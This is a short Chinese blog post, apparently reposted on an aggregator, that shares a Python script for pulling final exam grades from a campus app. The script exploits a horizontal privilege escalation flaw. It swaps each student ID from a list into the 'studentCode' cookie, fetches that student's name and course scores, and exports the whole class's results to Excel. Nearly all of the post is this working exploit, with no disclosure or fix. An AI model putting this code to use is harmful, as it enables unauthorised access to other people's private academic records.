利用Python脚本从校园通获取期末考试成绩
Posted 末 初
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了利用Python脚本从校园通获取期末考试成绩相关的知识,希望对你有一定的参考价值。
简单的记录下寒假在家随便写的小脚本,利用校园通中的平行越权
import requests
import pandas as pd
import json
studentcode_list = [] # 学号列表
my_url = "" # 地址
my_data = "pageNum": "1", "pageSize": "13", "semesterID": "5", "examinationID": "-1"
my_headers = "Accept": "application/json, text/javascript, */*; q=0.01",
"X-Requested-With": "XMLHttpRequest",
"User-Agent": "Mozilla/5.0 (Linux; android 10; V1914A Build/QP1A.190711.020; wv) AppleWebKit/537.36 (Khtml, like Gecko) Version/4.0 Chrome/85.0.4183.101 Mobile Safari/537.36",
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7"
all_class_info = []
for stu_code in studentcode_list:
my_cookies = "studentCode": stu_code
resp = requests.post(url=my_url, headers=my_headers, cookies=my_cookies, data=my_data)
resp_data = json.loads(resp.text)['data']['list']
person_info = '姓名': resp_data[0]['name']
for i in resp_data:
person_info[i['itemName']] = i['score']
all_class_info.append(person_info)
all_data_list = []
column_name = ['姓名', 'Linux网络操作系统', 'php编程+mysql数据库', 'Python程序设计基础', '大学英语Ⅲ', '工程数学I', '形势与政策', '计算机组成原理', '马克思主义基本原理', '总分']
all_data_list.append(column_name)
for per_data in all_class_info:
per_data_list = []
for col_key in column_name[:-1]:
per_data_list.append(per_data[col_key])
all_data_list.append(per_data_list)
df = pd.DataFrame(all_data_list)
df.to_excel('class.xlsx')
以上是关于利用Python脚本从校园通获取期末考试成绩的主要内容,如果未能解决你的问题,请参考以下文章
JAVA:编写一个学生成绩管理系统。学生的属性包括学号、姓名、年龄等。